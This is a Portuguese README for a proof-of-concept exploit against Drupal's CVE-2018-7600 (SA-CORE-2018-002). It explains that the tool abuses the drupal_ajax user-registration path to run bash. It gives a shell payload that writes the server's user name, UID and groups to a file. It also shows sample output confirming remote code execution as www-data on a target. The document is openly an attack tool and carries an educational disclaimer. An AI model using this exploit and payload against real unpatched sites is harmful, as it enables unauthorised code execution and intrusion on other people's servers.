Prova de Conceito para CVE-2018-7600 / SA-CORE-2018-002 codebeat badge

O Drupal anterior a 7.58, 8.x anterior a 8.3.9, 8.4.x anterior a 8.4.6 e 8.5.x anterior a 8.5.1 permite que atacantes remotos executem código arbitrário devido a um problema que afeta vários subsistemas com configurações de módulo padrão ou comuns.

Como funciona

1. Envia um pacote para o wrapper drupal_ajax para registrar um usuário. Permite que o usuário use a marcação exec e execute bash. Este PoC envia o nome de usuário e o id para abcde.txt.

   echo Name: $(id -un) UID: $(id -u) Groups: $(id -Gn) | tee abcde.txt
   

2. Verifica http*://example.com/abcde.txt

   [!] PROVIDED ONLY FOR EDUCATIONAL OR INFORMATION PURPOSES.
   [?] Enter file name (example: /root/file/hosts.txt): hosts.txt
   [+] https://example.com/ Possibly exploitable
   [~] Checking... https://example.com/abcde.text
   [+] https://example.com/ Exploitable
   [+] UID: 33 Name: www-data
   [+] Deleting... https://example.com/abcde.text
   

Payloads

%s = nome do arquivo

Payload de User ID, PID e grupo

echo Name: $(id -un) UID: $(id -u) Groups: $(id -Gn) | tee %s

Agradecimentos

• Agradecimentos a Vitalii Rudnykh

Fornecido apenas para fins educacionais ou informativos.